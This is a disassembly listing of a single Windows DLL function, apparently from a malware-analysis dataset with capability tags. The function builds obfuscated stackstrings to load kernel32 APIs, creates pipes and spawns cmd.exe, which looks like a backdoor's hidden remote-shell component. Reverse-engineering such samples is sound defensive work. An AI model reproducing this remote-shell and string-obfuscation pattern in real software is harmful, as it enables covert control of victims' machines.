Function at 0x10008d90
Capabilities:
Contain obfuscated stackstrings
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x10020e8b
mov eax, dword fs:[0]
push eax
sub esp, 0x19c
mov eax, dword [0x10028ce0]
xor eax, esp
mov dword [esp + 0x198], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x10028ce0]
xor eax, esp
push eax
lea eax, [esp + 0x1b0]
mov dword fs:[0], eax
mov eax, dword [esp + 0x1c0]
mov esi, ecx
push eax
mov dword [esp + 0x40], esi
call fcn.10006630
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov al, 0x65
mov cl, 0x6c
mov byte [esp + 0x89], cl
mov byte [esp + 0x8e], cl
mov byte [esp + 0x8f], cl
mov cl, 0x74
mov byte [esp + 0x85], al
mov byte [esp + 0x88], al
mov byte [esp + 0x95], al
mov byte [esp + 0x9b], al
mov byte [esp + 0xa0], al
lea eax, [esp + 0x94]
mov dl, 0x72
mov byte [esp + 0x96], cl
mov byte [esp + 0x9a], cl
mov byte [esp + 0xa2], cl
xor ebx, ebx
push eax
lea ecx, [esp + 0x88]
push ecx
mov dword [esp + 0x1c0], ebx
mov dword [esi], vtable.CShellManager.0
mov byte [esp + 0x8c], 0x6b
mov byte [esp + 0x8e], dl
mov byte [esp + 0x8f], 0x6e
mov byte [esp + 0x92], 0x33
mov byte [esp + 0x93], 0x32
mov byte [esp + 0x94], 0x2e
mov byte [esp + 0x95], 0x64
mov byte [esp + 0x98], bl
mov byte [esp + 0x9c], 0x47
mov byte [esp + 0x9f], 0x53
mov byte [esp + 0xa0], 0x79
mov byte [esp + 0xa1], 0x73
mov byte [esp + 0xa4], 0x6d
mov byte [esp + 0xa5], 0x44
mov byte [esp + 0xa6], 0x69
mov byte [esp + 0xa7], dl
mov byte [esp + 0xa9], 0x63
mov byte [esp + 0xab], 0x6f
mov byte [esp + 0xac], dl
mov byte [esp + 0xad], 0x79
mov byte [esp + 0xae], 0x41
mov byte [esp + 0xaf], bl
call edi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.Kernel32.dll
mov dword [esp + 0x38], eax
call edi
push 0x40
mov dword [0x1002a870], eax
xor eax, eax
lea edx, [esp + 0x48]
push ebx
push edx
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], eax
mov dword [esp + 0x4c], ebx
call fcn.10012980
xor eax, eax
push 0x103
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], eax
lea eax, [esp + 0xb9]
push ebx
push eax
mov dword [esp + 0x30], ebx
mov byte [esp + 0xc0], bl
call fcn.10012980
lea ebp, [esi + 0x10]
add esp, 0x18
mov dword [ebp], ebx
lea edi, [esi + 0x1c]
mov dword [esi + 0x14], ebx
mov dword [esi + 0x18], ebx
mov dword [edi], ebx
mov ecx, dword [0x1002a870]
push str.CreatePipe
push ecx
mov dword [esp + 0x30], 0xc
mov dword [esp + 0x34], ebx
mov dword [esp + 0x38], 1
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push ebx
lea edx, [esp + 0x2c]
push edx
push edi
push ebp
mov dword [esp + 0x48], eax
call eax
test eax, eax
jne 0x10008fd1
mov eax, dword [ebp]
mov ebp, dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp eax, ebx
je 0x10008fbf
push eax
call ebp
mov edi, dword [edi]
cmp edi, ebx
je 0x1000917a
push edi
call ebp
jmp 0x1000917a
push ebx
lea eax, [esp + 0x2c]
push eax
lea eax, [esi + 0x14]
push eax
lea eax, [esi + 0x18]
push eax
call dword [esp + 0x48]
test eax, eax
jne 0x1000900a
mov eax, dword [esi + 0x14]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp eax, ebx
je 0x10008ff7
push eax
call edi
mov eax, dword [esi + 0x18]
cmp eax, ebx
je 0x1000917a
push eax
call edi
jmp 0x1000917a
push 0x44
lea ecx, [esp + 0x44]
push ebx
push ecx
call fcn.10012980
push 0x30
mov dword [esp + 0x28], ebx
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x30], ebx
mov dword [esp + 0x34], ebx
call fcn.10011a91
add esp, 0x10
lea edx, [esp + 0x40]
push edx
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
push 0x30
call fcn.10011a91
mov ecx, dword [esi + 0x18]
xor eax, eax
mov word [esp + 0x74], ax
mov eax, dword [edi]
push 0x30
mov dword [esp + 0x48], 0x44
mov dword [esp + 0x74], 0x101
mov dword [esp + 0x80], ecx
mov dword [esp + 0x88], eax
mov dword [esp + 0x84], eax
call fcn.10011a91
add esp, 8
push 0x104
lea edx, [esp + 0xac]
push edx
call dword [esp + 0x3c]
push 0x30
call fcn.10011a91
lea eax, [esp + 0xac]
add esp, 4
dec eax
mov cl, byte [eax + 1]
inc eax
cmp cl, bl
jne 0x100090a1
mov ecx, dword [str.cmd.exe]
mov edx, dword [0x10021860]
mov dword [eax], ecx
mov cl, byte [0x10021864]
mov dword [eax + 4], edx
push 0x30
mov byte [eax + 8], cl
call fcn.10011a91
mov edx, dword [0x1002a870]
add esp, 4
push 0x1002184c
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x44]
push edx
push ebx
push ebx
push 0x20
push 1
push ebx
push ebx
push ebx
lea ecx, [esp + 0xcc]
push ecx
call eax
test eax, eax
jne 0x10009129
push 0x30
call fcn.10011a91
mov edx, dword [ebp]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
add esp, 4
push edx
call ebx
mov eax, dword [esi + 0x14]
push eax
call ebx
mov ecx, dword [esi + 0x18]
push ecx
call ebx
mov edx, dword [edi]
push edx
call ebx
jmp 0x1000917a
mov ecx, dword [esp + 0x1c]
mov eax, dword [esp + 0x18]
push 1
lea edx, [esp + 0x1b]
mov dword [esi + 0x24], ecx
push edx
mov ecx, esi
mov dword [esi + 0x20], eax
mov byte [esp + 0x1f], 0x80
call fcn.10006740
mov ecx, esi
call fcn.100067c0
push ebx
push ebx
push ebx
push esi
push 0x10008c20
push ebx
push ebx
call fcn.10009d40
push ebx
push ebx
push ebx
push esi
push 0x10008d00
push ebx
push ebx
mov dword [esi + 0x28], eax
call fcn.10009d40
add esp, 0x38
mov dword [esi + 0x2c], eax
mov eax, esi
mov ecx, dword [esp + 0x1b0]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x198]
xor ecx, esp
call fcn.10012866
add esp, 0x1a8
ret 4